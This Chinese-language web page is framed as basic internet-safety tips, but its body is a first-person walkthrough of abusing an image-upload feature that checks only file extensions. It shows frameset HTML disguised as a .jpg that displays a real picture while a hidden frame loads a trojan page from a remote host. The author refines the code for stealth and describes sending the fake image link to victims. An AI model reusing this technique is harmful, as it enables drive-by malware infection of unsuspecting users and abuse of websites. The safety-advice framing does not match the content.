随着网络的普及,我们的生活越来越方便,但是网络安全也成了很多人面临的一个问题。特别是那些有着商业数据的企业电脑,更要注意上网安全常识,不然病毒会对我们造成严重的威胁。 这个漏洞适用于所有只检查上传文件格式的程序, 把图片改成HTML代码, 上传后可执行 做转向, 发现的过程是我今天看了一下某门户网站的BBS上做了过滤, 上传失败, 然后回到主页上, 发现是动力系统, 于是注册了一个帐号, 然后到个人管理里, 看到添加文章里面 能上传、文件, 于是开始想利用的过程。 我开始的构思是直接上传这样一个程序。 其实这样有很大一个漏洞, 别人打开这些JPG网页后, 图片显示不出来, 自然别人就会起疑心, 想到了前段时间的CHM网页木马的制作的方法, 变相的利用它应该能达到这样的效果吧?假如代码为: <frameset rows="444,0" cols="*"> <frame src="index.htm" framborder="no" scrolling="auto" noresize marginwidth="0" margingheight="0"> <frame src="cha.htm" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight="0"> </frameset> 这样的一个index.htm, 上传后发现失败, 直接显示原代码。 于是在代码的开头结尾加了如下的代码: <html> <frameset rows="444,0" cols="*"> <frame src="index.htm" framborder="no" scrolling="auto" noresize marginwidth="0" margingheight="0"> <frame src="cha.htm" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight="0"> </frameset></html> 测试后页面已经成了一个木马页面, 但是这个木马一定要有个CHM的人才行, 网站不可能专门提供你上传这个类型的文件吧?!于是想到远程的调用, 后把Index.jpg改为代码: <html> <frameset rows="444,0" cols="*"> <frame src="index.htm" framborder="no" scrolling="auto" noresize marginwidth="0" margingheight="0"> <frame src="http://www.xxx.com/cha.htm" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight="0"> </frameset></html> 上传后发现 , 防火墙成功提示病毒, 但是别人打开这个页面的时候直接是大红XX, 有脑子的人都会怀疑。 于是想到把这个页面打开后看成一个图片, 接着直接把上面的代码改成: <html> <frameset rows="444,0" cols="*"> <frame src="/UpLoadFiles/NewsPhoto/omasuiai.jpg" framborder="no" scrolling="auto" noresize marginwidth="0" margingheight="0"> <frame src="http://www.xxx.com/cha.htm" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight="0"> </frameset></html> 这样打开这个页面的时候正常显示图片, 木马也能中了!前提是要把这个图片页面发给别人, 例如:www.***.com/UpLoadFiles/NewsPhoto/08aXXXXX.jpg, 对方打开后还以为是看到了一张图片, 其实他已经中木马了, 再怎么说这个也是上传的图片, 而且可以上传到自己的站里, 不会有人怀疑的!
上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。
|